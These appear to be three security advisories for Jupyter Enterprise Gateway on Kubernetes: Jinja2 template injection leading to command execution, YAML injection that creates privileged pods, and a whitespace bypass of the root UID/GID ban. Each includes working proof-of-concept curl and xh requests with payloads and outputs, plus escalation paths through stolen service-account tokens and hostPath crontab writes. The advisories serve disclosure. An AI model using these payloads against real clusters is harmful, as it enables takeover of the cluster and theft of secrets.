Summary

The environment variables (KERNELXXX) used during the rendering of the Kubernetes manifest are vulnerable to Server Side Template Injection (SSTI). By including Jinja2 template expressions it is possible to execution Python code and OS Commands in the Enterprise Gateway service. The code can use or steal the Kubernetes service account token, which can steal Kubernetes secrets and be used to fully compromise the Kubernetes cluster by scheduling a privileged pod or a pod with a hostPath volume mount.

Details

The KERNELPODNAME variable is rendered using Jinja2, allowing for code execution via template expression statements, in this code: https://github.com/jupyter-server/enterprisegateway/blob/152c20f162f2fab700c04c8830ebf8c1e2e2217a/enterprisegateway/services/processproxies/k8s.py#L219-L247

The Jinja2 template for the Kubernetes manifest contains several kernelxxx variables, in addition to kernelpodname discussed above, such as kernelworkingdir that are used when rendering the manifest and are all vectors for SSTI. https://github.com/jupyter-server/enterprisegateway/blob/152c20f162f2fab700c04c8830ebf8c1e2e2217a/etc/kernel-launchers/kubernetes/scripts/kernel-pod.yaml.j2#L77

These values come from the environment passed in the API call, where they were KERNELXXX before being converted to lowercase.

https://github.com/jupyter-server/enterprisegateway/blob/152c20f162f2fab700c04c8830ebf8c1e2e2217a/etc/kernel-launchers/kubernetes/scripts/launchkubernetes.py#L130-L137

PoC

Simple demonstration of SSTI using {{7 7}}

bash curl http://enterprise-gateway.bdawg.svc.cluster.local:8888/api/kernels --data '{"name":"pythonkubernetes", "env": {"KERNELPODNAME": "bdawg-{{7 7}}" }}'

json {"id": "1094076f-35c6-48a5-ae60-0c943bb97a9a", "name": "pythonkubernetes", "lastactivity": "2025-07-17T07:14:42.155736Z", "executionstate": "starting", "connections": 0}

Running kubectl get pods NAME READY STATUS RESTARTS AGE bdawg-49 1/1 Running 0 3m54s

Remote code execution - OS Commands via SSTI

bash curl http://enterprise-gateway.notebooks.svc.cluster.local:8888/api/kernels --data '{"name":"pythonkubernetes", "env": {"KERNELPODNAME": "bdawg-{{ cycler.init.globals.os.popen(\"hostname\").read() }}", "KERNELNAMESPACE": "notebooks" }}'

json {"id": "85ec9431-d005-48d5-8127-5f022f2c5780", "name": "pythonkubernetes", "lastactivity": "2025-07-17T07

NAME READY STATUS RESTARTS AGE bdawg-enterprise-gateway-8695685bc8-klm4m 1/1 Running 0 2m25s

enterprise-gateway-8695685bc8-klm4m is the hostname of the Enterprise Gateway pod.

Enterprise Gateway RBAC The Enterprise Gateway service account has R/W access to several resource kinds.

Stolen Enterprise Gateway service account kubectl auth can-i --list

Resources Non-Resource URLs Resource Names Verbs selfsubjectreviews.authentication.k8s.io [] [] [create] selfsubjectaccessreviews.authorization.k8s.io [] [] [create] selfsubjectrulesreviews.authorization.k8s.io [] [] [create] rolebindings.rbac.authorization.k8s.io [] [] [get list create delete] configmaps [] [] [get watch list create delete] namespaces [] [] [get watch list create delete] persistentvolumeclaims [] [] [get watch list create delete] persistentvolumes [] [] [get watch list create delete] pods [] [] [get watch list create delete] secrets [] [] [get watch list create delete] services [] [] [get watch list create delete] scheduledsparkapplications.sparkoperator.k8s.io/status [] [] [get watch list create delete] scheduledsparkapplications.sparkoperator.k8s.io [] [] [get watch list create delete] sparkapplications.sparkoperator.k8s.io/status [] [] [get watch list create delete] sparkapplications.sparkoperator.k8s.io [] [] [get watch list create delete] [/.well-known/openid-configuration/] [] [get] [/.well-known/openid-configuration] [] [get] [/api/] [] [get] [/api] [] [get] [/apis/] [] [get] [/apis] [] [get] [/healthz] [] [get] [/healthz] [] [get] [/livez] [] [get] [/livez] [] [get] [/openapi/] [] [get] [/openapi] [] [get] [/openid/v1/jwks/] [] [get] [/openid/v1/jwks] [] [get] [/readyz] [] [get] [/readyz] [] [get] [/version/] [] [get] [/version/] [] [get] [/version] [] [get] [/version] [] [get]

Impact This is a server side template injection that leads to remote code execution (python and OS commands).

An attacker can get remote code execution in the Enterprise Gateway pod and steal its Kubernetes service account's token. It can use the privileges to spy on and interfere with other Jupyter kernel, read, write, or delete configuration maps, read secrets, access persistent storage, privileged pods, or create pods with hostPath mounts, which can be used to compromise the complete cluster and all workloads on it.

Summary

The environment variables used during the rendering of the Kubernetes manifest allow YAML injection, enabling attackers to overwrite existing keys like securityContext and inject multi-document YAML to create additional unintended Kubernetes resources.

Details

The server interpolates untrusted environment variables (e.g., KERNELXXX) into Kubernetes manifests without YAML-aware escaping, enabling YAML injection attacks. Attackers can inject new fields, overwrite critical fields (e.g., duplicate securityContext keys, where the last one prevails), and inject document boundaries (--- for new documents, ... for end-of-document) to generate multiple resources, potentially creating arbitrary kinds like privileged pods.

The Jinja2 template for the Kubernetes manifest contains several kernelxxx variables, such as kernelworkingdir that are used when rendering the manifest and are all vectors for YAML injection. https://github.com/jupyter-server/enterprisegateway/blob/152c20f162f2fab700c04c8830ebf8c1e2e2217a/etc/kernel-launchers/kubernetes/scripts/kernel-pod.yaml.j2#L77

These values come from the environment passed in the API call, where they were KERNELXXX before being converted to lowercase.

https://github.com/jupyter-server/enterprisegateway/blob/152c20f162f2fab700c04c8830ebf8c1e2e2217a/etc/kernel-launchers/kubernetes/scripts/launchkubernetes.py#L130-L137

PoC

These proof of concepts are injecting in the KERNELWORKINGDIR env var, but any of the env vars could have been used. By default, the KERNELWORKINGDIR will be ignored unless EGMIRRORWORKINGDIRS is truthy for the enterprise-gateway. This is controlled by the mirrorWorkingDirs value in the Helm chart.

Using ducaale/xh:

bash xh http://localhost:31529/api/kernels env:=@env-working-dir-exploit.yaml

env-working-dir-exploit.yaml:

json { "KERNELPODNAME": "working-dir-root", "KERNELNAMESPACE": "notebooks", "KERNELWORKINGDIR": "\"/tmp\\\"\\n\\n# INJECTION\\n securityContext:\\n runAsUser: 0\\n runAsGroup: 0\\n fsGroup: 100\\n# HAHA - stray quote \"" }

Resulting request:

POST /api/kernels HTTP/1.1 Accept: application/json, /;q=0.5 Accept-Encoding: gzip, deflate, br, zstd Connection: keep-alive Content-Length: 233 Content-Type: application/json Host: localhost:31529 User-Agent: xh/0.24.0

{ "env": { "KERNELPODNAME": "working-dir-root", "KERNELNAMESPACE": "notebooks", "KERNELWORKINGDIR": "\"/tmp\\\"\\n\\n# INJECTION\\n securityContext:\\n runAsUser: 0\\n runAsGroup: 0\\n fsGroup: 100\\n# HAHA - stray quote \"" } }

Curl equivalent command:

bash curl http://localhost:31529/api/kernels -H 'content-type: application/json' -H 'accept: application/json, /;q=0.5' -d '{"env":{"KERNELPODNAME":"working-dir-root","KERNELNAMESPACE":"notebooks","KERNELWORKINGDIR":"\"/tmp\\\"\\n\\n# INJECTION\\n securityContext:\\n runAsUser: 0\\n runAsGroup: 0\\n fsGroup: 100\\n# HAHA - stray quote \""}}'

The rendered Jinja2 template:

yaml This file defines the Kubernetes objects necessary for kernels to run witihin Kubernetes. Substitution parameters are processed by the launchkubernetes.py code located in the same directory. Some values are factory values, while others (typically prefixed with 'kernel') can be provided by the client. This file can be customized as needed. No changes are required to launchkubernetes.py provided kernel values are used - which be automatically set from corresponding KERNEL env values. Updates will be required to launchkubernetes.py if new document sections (i.e., new k8s 'kind' objects) are introduced. apiVersion: v1 kind: Pod metadata: name: "working-dir-root" namespace: "notebooks" labels: kernelid: "186f4ecf-bf90-40b8-b210-a0987bfce927" app: enterprise-gateway component: kernel source: kernel-pod.yaml annotations: cluster-autoscaler.kubernetes.io/safe-to-evict: "false" spec: restartPolicy: Never serviceAccountName: "default" NOTE: that using runAsGroup requires that feature-gate RunAsGroup be enabled. WARNING: Only using runAsUser w/o runAsGroup or NOT enabling the RunAsGroup feature-gate will result in the new kernel pod's effective group of 0 (root)! although the user will correspond to the runAsUser value. As a result, BOTH should be uncommented AND the feature-gate should be enabled to ensure expected behavior. In addition, 'fsGroup: 100' is recommended so that /home/jovyan can be written to via the 'users' group (gid: 100) irrespective of the "kerneluid" and "kernelgid" values. securityContext: runAsUser: 1000 runAsGroup: 100 fsGroup: 100 containers: - image: "elyra/kernel-py:3.2.3" name: "working-dir-root" env: Add any custom envs here that aren't already configured for the kernel's environment - name: MYCUSTOMENV value: "mycustomvalue" workingDir: "/tmp"

INJECTION securityContext: runAsUser: 0 runAsGroup: 0 fsGroup: 100 HAHA - stray quote " volumeMounts: Define any "unconditional" mounts here, followed by "conditional" mounts that vary per client volumes: Define any "unconditional" volumes here, followed by "conditional" volumes that vary per client

Normally the container would run as uid=1000(jovyan) gid=100(users) groups=100(users). This injects a pod securityContext with runAsUser: 0 and runAsGroup: 0 (and fsGroup: 100). The processing of the YAML results in the duplicate key clobbering the original. Making the container run as uid=0(root) gid=0(root) groups=0(root),100(users).

In addition to injecting a pod level securityContext it is also possible to inject a container level securityContext which supports the privileged field.

Injecting a Pod

By injecting ... and --- it is possible to use multi-document YAML to inject Kubernetes resources.

bash xh http://localhost:31529/api/kernels env:=@env-working-dir-exploit-pod.yaml

env-working-dir-exploit-pod.yaml:

json { "KERNELPODNAME": "working-dir-root-pod", "KERNELNAMESPACE": "notebooks", "KERNELWORKINGDIR": "\"/tmp\\\"\\n\\n# INJECTION\\n...\\n---\\napiVersion: v1\\nkind: Pod\\nmetadata:\\n name: injected-pod\\n\\\n spec:\\n containers:\\n - name: injected-container\\n image: nginx\\n ports:\\n - containerPort: 80\\n securityContext:\\n privileged: true\\n runAsUser: 0\\n runAsGroup: 0\\n...\\n# HAHA - stray quote\"" }

This is rendered as (skipping the beginning of the rendering before the inject):

yaml workingDir: "/tmp"

INJECTION ... --- apiVersion: v1 kind: Pod metadata: name: injected-pod spec: containers: - name: injected-container image: nginx ports: - containerPort: 80 securityContext: privileged: true runAsUser: 0 runAsGroup: 0 ... HAHA - stray quote" volumeMounts: Define any "unconditional" mounts here, followed by "conditional" mounts that vary per client volumes: Define any "unconditional" volumes here, followed by "conditional" volumes that vary per client

kubectl get pods -n notebooks NAME READY STATUS RESTARTS AGE injected-pod 1/1 Running 0 4s working-dir-root-pod 1/1 Running 0 4s

The injected-pod has been created in addition to the working-dir-root-pod.

kubectl get pod/injected-pod -o yaml -n notebooks -o jsonpath='{.spec.containers[].securityContext}':

json { "privileged": true, "runAsGroup": 0, "runAsUser": 0 }

Impact

An attacker can create pods running with arbitrary, image, securityContext, and volumeMounts including hostPath mounts. Privileged pods can be created.

Arbitrary Kubernetes resources of kinds: Pod, Secret, PersistentVolumeClaim, PersistentVolume, Service, and ConfigMap can be created.

Repeated exploitation can compromise all worker nodes, and thus the entire Kubernetes cluster. Multiple container escape vectors exist. It is possible to create privileged pods which could load kernel modules to compromise the host. It is also possible to specify volume mounts, so another vector for a container escape is to use a hostPath R/W volume mount, use the injected securityContext to run as root, and then gain code execution in the underlying worker node by creating a crontab entry in the mounted host file system.

Summary

Jupyter Enterprise Gateway has a prohibited UID and GID feature that by default prevents launching kernels with UID or GID 0 (root). This can be bypassed. It is possible to launch kernels with a prohibited UID and/or GID by using a specially crafted KERNELUID or KERNELGID value.

The feature is described in the documentation:

https://github.com/jupyter-server/enterprisegateway/blob/152c20f162f2fab700c04c8830ebf8c1e2e2217a/docs/source/operators/config-add-env.md?plain=1#L103-L107

https://github.com/jupyter-server/enterprisegateway/blob/152c20f162f2fab700c04c8830ebf8c1e2e2217a/docs/source/operators/config-add-env.md?plain=1#L88-L92

https://github.com/jupyter-server/enterprisegateway/blob/152c20f162f2fab700c04c8830ebf8c1e2e2217a/docs/source/operators/deploy-kubernetes.md?plain=1#L769

Details

The prohibiteduids and prohibiteduids are set based of the OS env var EGPROHIBITEDUIDS and EGPROHIBITEDGIDS, and default to the string 0.

https://github.com/jupyter-server/enterprisegateway/blob/152c20f162f2fab700c04c8830ebf8c1e2e2217a/enterprisegateway/services/processproxies/container.py#L29-L30

The checks https://github.com/jupyter-server/enterprisegateway/blob/152c20f162f2fab700c04c8830ebf8c1e2e2217a/enterprisegateway/services/processproxies/container.py#L113 and https://github.com/jupyter-server/enterprisegateway/blob/152c20f162f2fab700c04c8830ebf8c1e2e2217a/enterprisegateway/services/processproxies/container.py#L119 look for the user supplied KERNELUID / KERNELGID string in the prohibiteduids / prohibitedgids strings. These checks can be bypassed by including whitespace, for example the string 0 (trailing space).

The user supplied string is used in the Kubernetes manifest at https://github.com/jupyter-server/enterprisegateway/blob/152c20f162f2fab700c04c8830ebf8c1e2e2217a/etc/kernel-launchers/kubernetes/scripts/kernel-pod.yaml.j2#L35 and https://github.com/jupyter-server/enterprisegateway/blob/152c20f162f2fab700c04c8830ebf8c1e2e2217a/etc/kernel-launchers/kubernetes/scripts/kernel-pod.yaml.j2#L38 where they are parsed as an integer in the Jinja2 template - which will ignore the whitespace.

PoC

How it is meant to work

Trying 0 gets denied, as expected.

bash xh http://enterprise-gateway.bdawg.svc.cluster.local:8888/api/kernels name=pythonkubernetes env:='{"KERNELPODNAME":"bdawg", "KERNELUID": "0", "KERNELGID": "0"}'

HTTP/1.1 403 Kernel's UID value of '0' has been denied via EGPROHIBITEDUIDS! Content-Length: 94 Content-Type: application/json Date: Mon, 14 Jul 2025 12:57:09 GMT Server: TornadoServer/6.4.1 X-Content-Type-Options: nosniff

json { "reason": "Kernel's UID value of '0' has been denied via EGPROHIBITEDUIDS!", "message": "" }

Exploit bypassing the checks

Using 0 with a trailing space, bypasses the check.

bash xh http://enterprise-gateway.bdawg.svc.cluster.local:8888/api/kernels name=pythonkubernetes env:='{"KERNELPODNAME":"bdawg", "KERNELUID": "0 ", "KERNELGID": "0 "}'

HTTP/1.1 201 Created Content-Length: 172 Content-Type: application/json Date: Mon, 14 Jul 2025 14:15:19 GMT Location: /api/kernels/17eee032-994f-4dd2-8ade-87169c300a40 Server: TornadoServer/6.4.1 X-Content-Type-Options: nosniff

{ "id": "17eee032-994f-4dd2-8ade-87169c300a40", "name": "pythonkubernetes", "lastactivity": "2025-07-14T14:15:21.468155Z", "executionstate": "starting", "connections": 0 }

The pod is successfully scheduled.

Inspecting the container we can see it is running as root:

bash kubectl exec -it pod/bdawg -- bash

(base) root@bdawg3:~# id uid=0(root) gid=0(root) groups=0(root),100(users)

If we had not supplied the KERNELUID / KERNELGID the container would have been running as UID:GID 1000:100 (jovyan:users).

Impact

This input validation vulnerability allows running Jupyter kernels as root, which can be dangerous as it allows more attack surface, and may lead to container escapes, compromising the worker node and all workloads running on it. Repeated exploitation can compromise all worker nodes, and thus the entire Kubernetes cluster. It is possible to specify volume mounts, so one vector for a container escape is to use a hostPath R/W volume mount, use this UID/GID bypass to run as root, and then gain code execution in the underlying worker node by creating a crontab entry in the mounted host file system.

Organisations running Jupyter Enterprise Gateway to host Jupyter Kernels on at least Kubernetes clusters (I've tested this), and possibly on any other supported container orchestration systems or systems that utilise the KERNELUID and KERNELGID variables with the EGPROHIBITEDUIDS and EGPROHIBITEDGIDS feature.